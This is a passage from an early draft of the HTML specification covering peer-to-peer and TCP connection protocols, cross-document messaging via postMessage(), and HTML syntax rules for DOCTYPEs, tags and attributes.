attribute, encoded as UTF-8, with the   source and destination ports being set to 18080 and appropriate length and   checksum fields, and sending these packets to address (in IPv4)   255.255.255.255 or (in IPv6) ff02::1, as appropriate.  <p>Listening for peer discovery messages must be done by examining incoming   UDP packets on port 18080. <span class=note>IPv6 applications will also   have to enable reception from the ff02::1 address.</span> If their payload   is exactly byte-for-byte equal to a UTF-8 encoded version of the value of   the connection's <code title=dom-Connection-network><a   href="#network0">network</a></code> attribute, then the source address of   that packet represents the address of a host that is ready to accept a   peer-to-peer connection, and it should therefore be offered to the user.  <p>Incoming connection requests must be listened for on TCP port 18080. If   an incoming connection is received, the UA must act as a <em>server</em>,   as described in the section entitled <a href="#servers1">servers accepting   connections over TCP</a>.  <p>If no incoming connection requests are accepted and the user instead   specifies a target host to connect to, the UA acts as a <em>client</em>:   the user agent must attempt to connect to the user-specified host on port   18080, as described in the section entitled <a href="#clients1">clients   connecting over TCP</a>.  <p>Once the connection is established, the UA must act as described in the   section entitled <a href="#sending1">sending and receiving data over   TCP</a>.  <p class=note>This specification does not include a way to establish   <em>secure</em> (encrypted) peer-to-peer connections at this time. <span   class=big-issue>If you can see a good way to do this, let me know.</span>  <h5 id=bluetooth-peer><span class=secno>7.2.6.2. </span>Peer-to-peer   connections over Bluetooth</h5>  <p class=big-issue>Does anyone know enough about Bluetooth to write this   section?  <h5 id=irda-peer><span class=secno>7.2.6.3. </span>Peer-to-peer connections   over IrDA</h5>  <p class=big-issue>Does anyone know enough about IrDA to write this   section?</p>  <!--XXX    <p>Prompts the user to select a connection to make, which could    look like this:</p><pre>|:: New Connection :::::::::::::::::::::::::::::::::::::::::||                                                           ||  Select the peer to connect to:                           ||                                                           ||    JohnSmith_Series60   via Bluetooth      (( Connect ))  ||    Patrick's Phone      via Bluetooth       ( Connect )   ||    John Smith           via UDP             ( Connect )   ||                                                           ||                                               ( Cancel )  ||___________________________________________________________|</pre>    <p>While the prompt is displayed, the UA should broadcast on all    supported networks, as described <span title="announcing peer    connections">below</span>.</p>    <p>Returns null if the prompt was canceled. Otherwise, returns a    <code>Connection</code> object with its <code>network</code>    attribute set to <var title="">topic</var> and its <code>peer</code>    attribute set to a string uniquely identifying the selected peer,    and opens a connection to that peer. (See: <span>peer connection    formats</span>.)</p>   |:: New Connection :::::::::::::::::::::::::::::::::::::::::|   |                                                           |   |  Would you like to open a connection called "Chess" for   |   |  this Web site?:                                          |   |                                                           |   |    example.org                                            |   |                                                           |   |  Select connection to use: [ Bluetooth      | v ]         |   |                                                           |   |                        (( Open connection ))  ( Cancel )  |   |___________________________________________________________|  c = new LocalBroadcastConnection("Chess");  c.onread = function(s, f) { alert("got message " + s + " from " + f); }  c.send("hello, anybody there?");   |:: New Connection :::::::::::::::::::::::::::::::::::::::::|   |                                                           |   |  Select the peer to connect to:                           |   |                                                           |   |    JohnSmith_Series60   via Bluetooth      (( Connect ))  |   |    Patrick's Phone      via Bluetooth       ( Connect )   |   |    John Smith           via UDP             ( Connect )   |   |                                                           |   |                                               ( Cancel )  |   |___________________________________________________________|  c = new LocalPeerConnection("Chess");  // c.peer contains peer's name  c.onread = function(s) { alert("got message " + s); } // second argument is c.peer  c.send("hello");  c = new TCPConnection("chess.example.com", 8089, false);  // c.peer contains 'chess.example.com:8089'  c.onread = function(s) { alert("got message " + s); } // second argument is c.peer  c.send("hello");> > Again, what else should we support? Should this have an HTML Element> > backing it for more declarative authoring? What error handling do we need?> > Should it automatically use bluetooth, TCP/IP broadcast, infrared, or> > should it be under the control of the author or user?-->  <h4 id=the-common><span class=secno>7.2.7. </span>The common protocol for   TCP-based connections</h4>  <p>The same protocol is used for <code title=dom-TCPConnection><a   href="#tcpconnection">TCPConnection</a></code> and <code   title=dom-PeerToPeerConnection><a   href="#peertopeerconnection">PeerToPeerConnection</a></code> connection   types. This section describes how such connections are established from   the client and server sides, and then describes how data is sent and   received over such connections (which is the same for both clients and   servers).  <h5 id=clients><span class=secno>7.2.7.1. </span><dfn id=clients1>Clients   connecting over TCP</dfn></h5>  <p>This section defines the client-side requirements of the protocol used   by the <code title=dom-TCPConnection><a   href="#tcpconnection">TCPConnection</a></code> and <code   title=dom-PeerToPeerConnection><a   href="#peertopeerconnection">PeerToPeerConnection</a></code> connection   types.  <p>If a TCP connection to the specified target host and port cannot be   established, for example because the target host is a domain name that   cannot be resolved to an IP address, or because packets cannot be routed   to the host, the user agent should retry creating the connection. If the   user agent gives up trying to connect, the user agent must act as if it   had <a href="#closeConnection">closed the connection</a>.  <p class=note>No information regarding the state of the connection is   passed to the application while the connection is being established in   this version of this specification.  <p>Once a TCP/IP connection to the remote host is established, the user   agent must transmit the following sequence of bytes, represented here in   hexadecimal form:  <pre>0x48 0x65 0x6C 0x6C 0x6F 0x0A</pre>  <p class=note>This represents the string "Hello" followed by a newline,   encoded in UTF-8.  <p>The user agent must then read all the bytes sent from the remote host,   up to the first 0x0A byte (inclusive). That string of bytes is then   compared byte-for-byte to the following string of bytes:  <pre>0x57 0x65 0x6C 0x63 0x6F 0x6E 0x65 0x0A</pre>  <p class=note>This says "Welcome".  <p>If the server sent back a string in any way different to this, then the   user agent must <a href="#closeConnection">close the connection</a> and   give up trying to connect.  <p>Otherwise, the user agent must then take <a href="#the-string">the   string representing the script's domain in IDNA format</a>, encode it as   UTF-8, and send that to the remote host, followed by a 0x0A byte (a U+000A   LINE FEED in UTF-8).  <p>The user agent must then read all the bytes sent from the remote host,   up to the first 0x0A byte (inclusive). That string of bytes must then be   compared byte-for-byte to the string that was just sent to the server (the   one with the IDNA domain name and ending with a newline character). If the   server sent back a string in any way different to this, then the user   agent must <a href="#closeConnection">close the connection</a> and give up   trying to connect.  <p>Otherwise, the connection <a href="#openConnection">has been   established</a> (and events and so forth get fired, as described above).  <p>If at any point during this process the connection is closed   prematurely, then the user agent must <a href="#closeConnection">close the   connection</a> and give up trying to connect.</p>  <!-- XXX we should support automatic reconnect -->  <h5 id=servers><span class=secno>7.2.7.2. </span><dfn id=servers1>Servers   accepting connections over TCP</dfn></h5>  <p>This section defines the server side of the protocol described in the   previous section. For authors, it should be used as a guide for how to   implement servers that can communicate with Web pages over TCP. For UAs   these are the requirements for the server part of <code   title=dom-PeerToPeerConnection><a   href="#peertopeerconnection">PeerToPeerConnection</a></code>s.  <p>Once a TCP/IP connection from a remote host is established, the user   agent must transmit the following sequence of bytes, represented here in   hexadecimal form:  <pre>0x57 0x65 0x6C 0x63 0x6F 0x6E 0x65 0x0A</pre>  <p class=note>This says "Welcome" and a newline in UTF-8.  <p>The user agent must then read all the bytes sent from the remote host,   up to the first 0x0A byte (inclusive). That string of bytes is then   compared byte-for-byte to the following string of bytes:  <pre>0x48 0x65 0x6C 0x6C 0x6F 0x0A</pre>  <p class=note>"Hello" and a newline.  <p>If the remote host sent back a string in any way different to this, then   the user agent must <a href="#closeConnection">close the connection</a>   and give up trying to connect.  <p>Otherwise, the user agent must then take <a href="#the-string">the   string representing the script's domain in IDNA format</a>, encode it as   UTF-8, and send that to the remote host, followed by a 0x0A byte (a U+000A   LINE FEED in UTF-8).  <p>The user agent must then read all the bytes sent from the remote host,   up to the first 0x0A byte (inclusive). That string of bytes must then be   compared byte-for-byte to the string that was just sent to that host (the   one with the IDNA domain name and ending with a newline character). If the   remote host sent back a string in any way different to this, then the user   agent must <a href="#closeConnection">close the connection</a> and give up   trying to connect.  <p>Otherwise, the connection <a href="#openConnection">has been   established</a> (and events and so forth get fired, as described above).  <p class=note>For author-written servers (as opposed to the server side of   a peer-to-peer connection), the script's domain would be replaced by the   hostname of the server. Alternatively, such servers might instead wait for   the client to send its domain string, and then simply echo it back. This   would allow connections from pages on any domain, instead of just pages   originating from the same host. The client compares the two strings to   ensure they are the same before allowing the connection to be used by   author script.  <p>If at any point during this process the connection is closed   prematurely, then the user agent must <a href="#closeConnection">close the   connection</a> and give up trying to connect.</p>  <!-- XXX we should support automatic reconnect -->  <h5 id=sending><span class=secno>7.2.7.3. </span><dfn id=sending1>Sending   and receiving data over TCP</dfn></h5>  <p>When the <code title=dom-Connection-send><a href="#send">send(<var   title="">data</var>)</a></code> method is invoked on the connection's   corresponding <code><a href="#connection0">Connection</a></code> object,   the user agent must take the <var title="">data</var> argument, replace   any U+0000 NULL and U+0017 END OF TRANSMISSION BLOCK characters in it with   U+FFFD REPLACEMENT CHARACTER characters, then transmit a U+0002 START OF   TEXT character, this new <var title="">data</var> string and a single   U+0017 END OF TRANSMISSION BLOCK character (in that order) to the remote   host, all encoded as UTF-8.  <p>When the user agent receives bytes on the connection, the user agent   must buffer received bytes until it receives a 0x17 byte (a U+0017 END OF   TRANSMISSION BLOCK character). If the first buffered byte is not a 0x02   byte (a U+0002 START OF TEXT character encoded as UTF-8) then all the data   up to the 0x17 byte, inclusive, must be dropped. (This allows for future   extension of this protocol.) Otherwise, all the data from (but not   including) the 0x02 byte and up to (but not including) the 0x17 byte must   be taken, interpreted as a UTF-8 string, and a <code   title=event-connection-read><a href="#read">read</a></code> event must be   fired on the <code><a href="#connection0">Connection</a></code> object   with that string as the <code title=dom-ConnectionReadEvent-data><a   href="#data4">data</a></code>. If that string cannot be decoded as UTF-8   without errors, the packet should be ignored.  <p class=note>This protocol does not yet allow binary data (e.g. an image   or video data) to be efficiently transmitted. A future version of this   protocol might allow this by using the prefix character U+001F INFORMATION   SEPARATOR ONE, followed by binary data which uses a particular byte (e.g.   0xFF) to encode byte 0x17 somehow (since otherwise 0x17 would be treated   as transmission end by down-level UAs).</p>  <!--    Specifically, replace all occurrences of 0xFF with 0xFF 0xFF and    all occurrences of 0x17 with 0xFF 0x00, or similar.   -->  <h4 id=network-security><span class=secno>7.2.8. </span>Security</h4>  <p class=big-issue>Need to write this section.  <p class=big-issue>If you have an unencrypted page that is (through a   man-in-the-middle attack) changed, it can access a secure service that is   using IP authentication and then send that data back to the attacker. Ergo   we should probably stop unencrypted pages from accessing encrypted   services, on the principle that the actual level of security is zero. Then   again, if we do that, we prevent insecure sites from using SSL as a   tunneling mechanism.  <p class=big-issue>Should consider dropping the subdomain-only restriction.   It doesn't seem to add anything, and prevents cross-domain chatter.  <h4 id=network-other-specs><span class=secno>7.2.9. </span>Relationship to   other standards</h4>  <p class=big-issue>Should have a section talking about the fact that we   blithely ignoring IANA's port assignments here.  <p class=big-issue>Should explain why we are not reusing HTTP for this.   (HTTP is too heavy-weight for such a simple need; requiring authors to   implement an HTTP server just to have a party line is too much of a   barrier to entry; cannot rely on prebuilt components; having a simple   protocol makes it much easier to do RAD; HTTP doesn't fit the needs and   doesn't have the security model needed; etc)  <h3 id=crossDocumentMessages><span class=secno>7.3. </span><dfn   id=cross-document0>Cross-document messaging</dfn></h3>  <p>Web browsers, for security and privacy reasons, prevent documents in   different domains from affecting each other; that is, cross-site scripting   is disallowed.  <p>While this is an important security feature, it prevents pages from   different domains from communicating even when those pages are not   hostile. This section introduces a messaging system that allows documents   to communicate with each other regardless of their source domain, in a way   designed to not enable cross-site scripting attacks.  <h4 id=processing2><span class=secno>7.3.1. </span>Processing model</h4>  <p>When a script invokes the <dfn id=postmessage   title=dom-document-postMessage><code>postMessage(<var   title="">message</var>)</code></dfn> method on a <code>Document</code>   object, the user agent must create an event that uses the <code><a   href="#crossdocumentmessageevent">CrossDocumentMessageEvent</a></code>   interface, with the event name <dfn id=message   title=event-message><code>message</code></dfn>, which bubbles, is   cancelable, and has no default action. The <dfn id=data5   title=dom-CrossDocumentMessageEvent-data><code>data</code></dfn> attribute   must be set to the value passed as the <var title="">message</var>   argument to the <code title=dom-document-postMessage><a   href="#postmessage">postMessage()</a></code> method, the <dfn id=domain3   title=dom-CrossDocumentMessageEvent-domain><code>domain</code></dfn>   attribute must be set to the domain of the document that the script that   invoked the methods is associated with, the <dfn id=uri   title=dom-CrossDocumentMessageEvent-uri><code>uri</code></dfn> attribute   must be set to the URI of that document, and the <dfn id=source1   title=dom-CrossDocumentMessageEvent-source><code>source</code></dfn>   attribute must be set to the <code>Document</code> object representing   that document.  <p class=warning>Authors should check the <code   title=dom-CrossDocumentMessageEvent-domain><a   href="#domain4">domain</a></code> attribute to ensure that messages are   only accepted from domains that they expect to receive messages from.   Otherwise, bugs in the author's message handling code could be exploited   by hostile sites.  <div class=example>   <p>For example, if document A contains an <code><a    href="#object0">object</a></code> element that contains document B, and    script in document A calls <code>postMessage()</code> on document B, then    a message event will be fired on that element, marked as originating from    document A. The script in document A might look like:</p>   <pre>var o = document.getElementsByTagName('object')[0];o.<span>contentDocument</span>.<span>postMessage</span>('Hello world');</pre>   <p>To register an event handler for incoming events, the script would use    <code>addEventListener()</code> (or similar mechanisms). For example, the    script in document B might look like:</p>   <pre>document.addEventListener('message', receiver, false);function receiver(e) {  if (e.domain == 'example.com') {    if (e.data == 'Hello world') {      e.source.postMessage('Hello');    } else {      alert(e.data);    }  }}</pre>   <p>This script first checks the domain is the expected domain, and then    looks at the message, which it either displays to the user, or responds    to by sending a message back to the document which sent the message in    the first place.</p>  </div>  <p class=note>Implementors are urged to take extra care in the   implementation of this feature. It allows authors to transmit information   from one domain to another domain, which is normally disallowed for   security reasons. It also requires that UAs be careful to allow access to   certain properties but not others.  <h4 id=event0><span class=secno>7.3.2. </span>Event definitions</h4>  <p>The <a href="#postmessage"   title=dom-document-postMessage>postMessage()</a> method causes an event to   be dispatched (as defined above). This event uses the following interface:  <pre   class=idl>interface <dfn id=crossdocumentmessageevent>CrossDocumentMessageEvent</dfn> : Event {  readonly attribute DOMString <a href="#data6" title=dom-CrossDocumentMessageEvent-data>data</a>;  readonly attribute DOMString <a href="#domain4" title=dom-CrossDocumentMessageEvent-domain>domain</a>;  readonly attribute DOMString <a href="#uri0" title=dom-CrossDocumentMessageEvent-uri>uri</a>;  readonly attribute Document <a href="#source2" title=dom-CrossDocumentMessageEvent-source>source</a>;  void <a href="#initcrossdocumentmessageevent" title=dom-CrossDocumentMessageEvent-initCrossDocumentMessageEvent>initCrossDocumentMessageEvent</a>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString dataArg, in DOMString domainArg, in DOMString uriArg, in Document documentArg);  void <a href="#initcrossdocumentmessageeventns" title=dom-CrossDocumentMessageEvent-initCrossDocumentMessageEventNS>initCrossDocumentMessageEventNS</a>(in DOMString namespaceURI, in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg, in DOMString dataArg, in DOMString domainArg, in DOMString uriArg, in Document documentArg);};</pre>  <p>The <dfn id=data6   title=dom-CrossDocumentMessageEvent-data><code>data</code></dfn> attribute   represents the message being sent.  <p>The <dfn id=domain4   title=dom-CrossDocumentMessageEvent-domain><code>domain</code></dfn>   attribute represents the domain of the document from which the message   came.  <p>The <dfn id=uri0   title=dom-CrossDocumentMessageEvent-uri><code>uri</code></dfn> attribute   represents the address of the document from which the message came.  <p>The <dfn id=source2   title=dom-CrossDocumentMessageEvent-source><code>source</code></dfn>   attribute represents the <code>Document</code> from which the message   came.  <p>The <dfn id=initcrossdocumentmessageevent   title=dom-CrossDocumentMessageEvent-initCrossDocumentMessageEvent><code>initCrossDocumentMessageEvent()</code></dfn>   and <dfn id=initcrossdocumentmessageeventns   title=dom-CrossDocumentMessageEvent-initCrossDocumentMessageEventNS><code>initCrossDocumentMessageEventNS()</code></dfn>   methods must initialise the event in a manner analogous to the   similarly-named methods in the DOM3 Events interfaces. <a   href="#DOM3Events">[DOM3EVENTS]</a>  <h2 id=syntax><span class=secno>8. </span>The HTML syntax</h2>  <h3 id=writing><span class=secno>8.1. </span>Writing HTML documents</h3>  <p><em>This section only applies to documents, authoring tools, and markup   generators. In particular, it does not apply to conformance checkers;   conformance checkers must use the requirements given in the next section   ("parsing HTML documents").</em>  <p>Documents must consist of the following parts, in the given order:  <ol>   <li>Any number of <a href="#comments0" title=syntax-comments>comments</a>    and <a href="#space" title="space character">space characters</a>.   <li>A <a href="#doctype" title=syntax-doctype>DOCTYPE</a>.   <li>Any number of <a href="#comments0" title=syntax-comments>comments</a>    and <a href="#space" title="space character">space characters</a>.   <li>The root element, in the form of an <code><a    href="#html0">html</a></code> <a href="#elements2"    title=syntax-elements>element</a>.   <li>Any number of <a href="#comments0" title=syntax-comments>comments</a>    and <a href="#space" title="space character">space characters</a>.  </ol>  <p>The various types of content mentioned above are described in the next   few sections.  <h4 id=the-doctype><span class=secno>8.1.1. </span>The DOCTYPE</h4>  <p>A <dfn id=doctype title=syntax-doctype>DOCTYPE</dfn> is a mostly   useless, but required, header.  <p class=note>DOCTYPEs are required for legacy reasons. When omitted,   browsers tend to use a different rendering mode that is incompatible with   some specifications. Including the DOCTYPE in a document ensures that the   browser makes a best-effort attempt at following the relevant   specifications.  <p>A DOCTYPE must consist of the following characters, in this order:  <ol class=brief>   <li>A U+003C LESS-THAN SIGN (<code>AMPERSANDlt;</code>) character.   <li>A U+0021 EXCLAMATION MARK (<code>!</code>) character.   <li>A U+0044 LATIN CAPITAL LETTER D or U+0064 LATIN SMALL LETTER D    character.   <li>A U+004F LATIN CAPITAL LETTER O or U+006F LATIN SMALL LETTER O    character.   <li>A U+0043 LATIN CAPITAL LETTER C or U+0063 LATIN SMALL LETTER C    character.   <li>A U+0054 LATIN CAPITAL LETTER T or U+0074 LATIN SMALL LETTER T    character.   <li>A U+0059 LATIN CAPITAL LETTER Y or U+0079 LATIN SMALL LETTER Y    character.   <li>A U+0050 LATIN CAPITAL LETTER P or U+0070 LATIN SMALL LETTER P    character.   <li>A U+0045 LATIN CAPITAL LETTER E or U+0065 LATIN SMALL LETTER E    character.   <li>One or more <a href="#space" title="space character">space    characters</a>.   <li>A U+0048 LATIN CAPITAL LETTER H or U+0068 LATIN SMALL LETTER H    character.   <li>A U+0054 LATIN CAPITAL LETTER T or U+0074 LATIN SMALL LETTER T    character.   <li>A U+004D LATIN CAPITAL LETTER M or U+006D LATIN SMALL LETTER M    character.   <li>A U+004C LATIN CAPITAL LETTER L or U+006C LATIN SMALL LETTER L    character.   <li>Zero or more <a href="#space" title="space character">space    characters</a>.   <li>A U+003E GREATER-THAN SIGN (<code>AMPERSANDgt;</code>) character.  </ol>  <p class=note>In other words, <code>AMPERSANDlt;!DOCTYPE HTML></code>,   case-insensitively.  <h4 id=elements0><span class=secno>8.1.2. </span>Elements</h4>  <p>There are four different kinds of <dfn id=elements2   title=syntax-elements>elements</dfn>: void elements, CDATA elements,   RCDATA elements, and normal elements.  <dl>   <dt>Void elements   <dd><code><a href="#base0">base</a></code>, <code><a    href="#link0">link</a></code>, <code><a href="#meta1">meta</a></code>,    <code><a href="#hr0">hr</a></code>, <code><a href="#br0">br</a></code>,    <code><a href="#img0">img</a></code>, <code><a    href="#embed0">embed</a></code>, <code><a    href="#param0">param</a></code>, <code><a href="#area0">area</a></code>,    <code><a href="#col0">col</a></code>, <code>input</code><!-- XXX add: ,   <code>command</code>, <code>event-source</code> --></dd>   <!-- XXX   keep this synchronised with the list of "permitted slash" elements   -->   <dt>CDATA elements   <dd><code><a href="#style0">style</a></code>, <code><a    href="#script2">script</a></code></dd>   <!-- iframe and   noscript don't count as CDATA for syntax purposes -->   <dt>RCDATA elements   <dd><code><a href="#title3">title</a></code>, <code>textarea</code>   <dt>Normal elements   <dd>All other allowed HTML elements are normal elements.  </dl>  <p><dfn id=tags title=syntax-tags>Tags</dfn> are used to delimit the start   and end of elements in the markup. CDATA, RCDATA, and normal elements have   a <a href="#start2" title=syntax-start-tags>start tag</a> to indicate   where they begin, and an <a href="#end-tags0" title=syntax-end-tags>end   tag</a> to indicate where they end. The start and end tags of certain   normal elements can be <a href="#omitted"   title=syntax-tag-omission>omitted</a>, as described later. Those that   cannot be omitted must not be omitted. Void elements only have a start   tag; end tags must not be specified for void elements.  <p>The contents of the element must be placed between just after the start   tag (which <a href="#omitted" title=syntax-tag-omission>might be implied,   in certain cases</a>) and just before the end tag (which again, <a   href="#omitted" title=syntax-tag-omission>might be implied in certain   cases</a>). The exact allowed contents of each individual element depends   on the content model of that element, as described earlier in this   specification. Elements must not contain content that their content model   disallows. In addition to the restrictions placed on the contents by those   content models, however, the four types of elements have additional   <em>syntactic</em> requirements.  <p>Void elements can't have any contents (since there's no end tag, no   content can be put between the start tag and the end tag.)  <p>CDATA elements can have <a href="#text1" title=syntax-text>text</a>, but   the text must not contain the two character sequence "<code>AMPERSANDlt;/</code>"   (U+003C LESS-THAN SIGN, U+002F SOLIDUS).  <p>RCDATA elements can have <a href="#text1" title=syntax-text>text</a> and   <a href="#character0" title=syntax-entities>character entity   references</a>, but the text must not contain the character U+003C   LESS-THAN SIGN (<code>AMPERSANDlt;</code>) or the character U+0026 AMPERSAND   (<code>AMPERSANDamp;</code>).  <p>Normal elements can have <a href="#text1" title=syntax-text>text</a>, <a   href="#character0" title=syntax-entities>character entity references</a>,   other <a href="#elements2" title=syntax-elements>elements</a>, and <a   href="#comments0" title=syntax-comments>comments</a>, but the text must   not contain the character U+003C LESS-THAN SIGN (<code>AMPERSANDlt;</code>) or the   character U+0026 AMPERSAND (<code>AMPERSANDamp;</code>). Some normal elements also   have <a href="#have-extra" title=syntax-element-restrictions>yet more   restrictions</a> on what content they are allowed to hold, beyond the   restrictions imposed by the content model and those described in this   paragraph. Those restrictions are described below.  <p>Tags contain a <dfn id=tag-name title=syntax-tag-name>tag name</dfn>,   giving the element's name. HTML elements all have names that only use   characters in the range U+0061 LATIN SMALL LETTER A .. U+007A LATIN SMALL   LETTER Z, or, in uppercase, U+0041 LATIN CAPITAL LETTER A .. U+005A LATIN   CAPITAL LETTER Z, and U+002D HYPHEN-MINUS (<code>-</code>). In the HTML   syntax, tag names may be written with any mix of lower- and uppercase   letters that, when converted to all-lowercase, matches the element's tag   name; tag names are case-insensitive.  <h5 id=start><span class=secno>8.1.2.1. </span>Start tags</h5>  <p><dfn id=start2 title=syntax-start-tags>Start tags</dfn> must have the   following format:  <ol>   <li>The first character of a start tag must be a U+003C LESS-THAN SIGN    (<code>AMPERSANDlt;</code>).   <li>The next few characters of a start tag must be the element's <a    href="#tag-name" title=syntax-tag-name>tag name</a>.   <li>If there are to be any attributes in the next step, there must first    be one or more <a href="#space" title="space character">space    characters</a>.   <li>Then, the start tag may have a number of attributes, the <a    href="#attributes1" title=syntax-attributes>syntax for which</a> is    described below. Attributes may be separated from each other by one or    more <a href="#space" title="space character">space characters</a>.   <li>After the attributes, there may be one or more <a href="#space"    title="space character">space characters</a>. (Some attributes are    required to be followed by a space. See the <a href="#attributes1"    title=syntax-attributes>attributes section</a> below.)   <li>Then, if the element is one of the void elements, then there may be a    single U+002F SOLIDUS (<code>/</code>) character. This character has no    effect except to appease the markup gods. As this character is therefore    just a symbol of faith, atheists should omit it.   <li>Finally, start tags must be closed by a U+003E GREATER-THAN SIGN    (<code>AMPERSANDgt;</code>) character.  </ol>  <h5 id=end-tags><span class=secno>8.1.2.2. </span>End tags</h5>  <p><dfn id=end-tags0 title=syntax-end-tags>End tags</dfn> must have the   following format:  <ol>   <li>The first character of an end tag must be a U+003C LESS-THAN SIGN    (<code>AMPERSANDlt;</code>).   <li>The second character of an end tag must be a U+002F SOLIDUS    (<code>/</code>).   <li>The next few characters of an end tag must be the element's <a    href="#tag-name" title=syntax-tag-name>tag name</a>.   <li>After the tag name, there may be one or more <a href="#space"    title="space character">space characters</a>.   <li>Finally, end tags must be closed by a U+003E GREATER-THAN SIGN    (<code>AMPERSANDgt;</code>) character.  </ol>  <h5 id=attributes0><span class=secno>8.1.2.3. </span>Attributes</h5>  <p><dfn id=attributes1 title=syntax-attributes>Attributes</dfn> for an   element are expressed inside the element's start tag.  <p>Attributes have a name and a value. <dfn id=attribute   title=syntax-attribute-name>Attribute names</dfn> use characters in the   range U+0061 LATIN SMALL LETTER A .. U+007A LATIN SMALL LETTER Z, or, in   uppercase, U+0041 LATIN CAPITAL LETTER A .. U+005A LATIN CAPITAL LETTER Z,   and U+002D HYPHEN-MINUS (<code>-</code>). In the HTML syntax, attribute   names may be written with any mix of lower- and uppercase letters that,   when converted to all-lowercase, matches the attribute's name; attribute   names are case-insensitive.  <p><dfn id=attribute0 title=syntax-attribute-value>Attribute values</dfn>   are a mixture of <a href="#text1" title=syntax-text>text</a> and <a   href="#character0" title=syntax-entities>character entity references</a>,   except with the additional restriction that the text cannot contain a   U+0026 AMPERSAND (<code>AMPERSANDamp;</code>) character.  <p>Attributes can be specified in four different ways:  <dl>   <dt>Empty attribute syntax   <dd>    <p>Just the <a href="#attribute" title=syntax-attribute-name>attribute     name</a>.</p>    <div class=example>     <p>In the following example, the <code      title=attr-input-disabled>disabled</code> attribute is given with the      empty attribute syntax:</p>     <pre>AMPERSANDlt;input <em>disabled</em>AMPERSANDgt;</pre>    </div>    <p>If an attribute using the empty attribute syntax is to be followed by     another attribute, then there must be a <a href="#space">space     character</a> separating the two.</p>   <dt>Unquoted attribute value syntax   <dd>    <p>The <a href="#attribute" title=syntax-attribute-name>attribute     name</a>, followed by zero or more <a href="#space" title="space     character">space characters</a>, followed by a single U+003D EQUALS SIGN     character, followed by zero or more <a href="#space" title="space     character">space characters</a>, followed by the <a href="#attribute0"     title=syntax-attribute-value>attribute value</a>, which, in addition to     the requirements given above for attribute values, must not contain any     literal <a href="#space" title="space character">space characters</a>,     U+003E GREATER-THAN SIGN (<code>AMPERSANDgt;</code>) characters, or U+003C     LESS-THAN SIGN (<code>AMPERSANDlt;</code>) characters, and must not,     furthermore, start with either a literal U+0022 QUOTATION MARK     (<code>AMPERSAND#x22;</code>) character or a literal U+0027 APOSTROPHE     (<code>AMPERSAND#x27;</code>) character.</p>    <div class=example>     <p>In the following example, the <code      title=attr-input-value>value</code> attribute is given with the      unquoted attribute value syntax:</p>     <pre>AMPERSANDlt;input <em>value=yes</em>AMPERSANDgt;</pre>    </div>    <p>If an attribute using the unquoted attribute syntax is to be followed     by another attribute or by one of the optional U+002F SOLIDUS     (<code>/</code>) characters allowed in step 6 of the <span     title=syntax-start-tag>start tag</span> syntax above, then there must be     a <a href="#space">space character</a> separating the two.</p>   <dt>Single-quoted attribute value syntax   <dd>    <p>The <a href="#attribute" title=syntax-attribute-name>attribute     name</a>, followed by zero or more <a href="#space" title="space     character">space characters</a>, followed by a single U+003D EQUALS SIGN     character, followed by zero or more <a href="#space" title="space     character">space characters</a>, followed by a single U+0027 APOSTROPHE     (<code>'</code>) character, followed by the <a href="#attribute0"     title=syntax-attribute-value>attribute value</a>, which, in addition to     the requirements given above for attribute values, must not contain any     literal U+0027 APOSTROPHE (<code>'</code>) characters, and finally     followed by a second single U+0027 APOSTROPHE (<code>'</code>)     character.</p>    <div class=example>     <p>In the following example, the <code title=attr-input-type>type</code>      attribute is given with the single-quoted attribute value syntax:</p>     <pre>AMPERSANDlt;input <em>type='checkbox'</em>AMPERSANDgt;</pre>    </div>   <dt>Double-quoted attribute value syntax   <dd>    <p>The <a href="#attribute" title=syntax-attribute-name>attribute     name</a>, followed by zero or more <a href="#space" title="space     character">space characters</a>, followed by a single U+003D EQUALS SIGN     character, followed by zero or more <a href="#space" title="space     character">space characters</a>, followed by a single U+0022 QUOTATION     MARK (<code>"</code>) character, followed by the <a href="#attribute0"     title=syntax-attribute-value>attribute value</a>, which, in addition to     the requirements given above for attribute values, must not contain any     literal U+0022 QUOTATION MARK (<code>"</code>) characters, and finally     followed by a second single U+0022 QUOTATION MARK (<code>"</code>)     character.</p>    <div class=example>     <p>In the following example, the <code title=attr-input-name>name</code>      attribute is given with the double-quoted attribute value syntax:</p>     <pre>AMPERSANDlt;input <em>name="be evil"</em>AMPERSANDgt;</pre>    </div>  </dl>  <h5 id=optional><span class=secno>8.1.2.4. </span>Optional tags</h5>  <p>Certain tags can be <dfn id=omitted   title=syntax-tag-omission>omitted</dfn>.</p>  <!-- <html> -->  <p>An <code><a href="#html0">html</a></code> element's <span   title=syntax-start-tag>start tag</span> may be omitted if the first thing   inside the <code><a href="#html0">html</a></code> element is not a <a   href="#space">space character</a> or a <a href="#comments0"   title=syntax-comments>comment</a>.</p>  <!-- </html> -->  <p>An <code><a href="#html0">html</a></code> element's <span   title=syntax-end-tag>end tag</span> may be omitted if the <code><a   href="#html0">html</a></code> element is not immediately followed by a <a   href="#space">space character</a> or a <a href="#comments0"   title=syntax-comments>comment</a>.</p>  <!-- <head> -->  <p>A <code><a href="#head0">head</a></code> element's <span   title=syntax-start-tag>start tag</span> may be omitted if the first thing   inside the <code><a href="#head0">head</a></code> element is an element.</p>  <!-- </head> -->  <p>A <code><a href="#head0">head</a></code> element's <span   title=syntax-end-tag>end tag</span> may be omitted if the <code><a   href="#head0">head</a></code> element is not immediately followed by a <a   href="#space">space character</a> or a <a href="#comments0"   title=syntax-comments>comment</a>.</p>  <!-- <body> -->  <p>A <code><a href="#body1">body</a></code> element's <span   title=syntax-start-tag>start tag</span> may be omitted if the first thing   inside the <code><a href="#body1">body</a></code> element is not a <a   href="#space">space character</a> or a <a href="#comments0"   title=syntax-comments>comment</a>.</p>  <!-- </body> -->  <p>A <code><a href="#body1">body</a></code> element's <span   title=syntax-end-tag>end tag</span> may be omitted if the <code><a   href="#body1">body</a></code> element is not immediately followed by a <a   href="#space">space character</a> or a <a href="#comments0"   title=syntax-comments>comment</a>. <!-- </li> -->  <p>A <code><a href="#li0">li</a></code> element's <span   title=syntax-end-tag>end tag</span> may be omitted if the <code><a   href="#li0">li</a></code> element is immediately followed by another   <code><a href="#li0">li</a></code> element or if there is no more content   in the parent element.</p>  <!-- </dt> -->  <p>A <code><a href="#dt0">dt</a></code> element's <span   title=syntax-end-tag>end tag</span> may be omitted if the <code><a   href="#dt0">dt</a></code> element is immediately followed by another   <code><a href="#dt0">dt</a></code> element or a <code><a   href="#dd0">dd</a></code> element.</p>  <!-- </dd> -->  <p>A <code><a 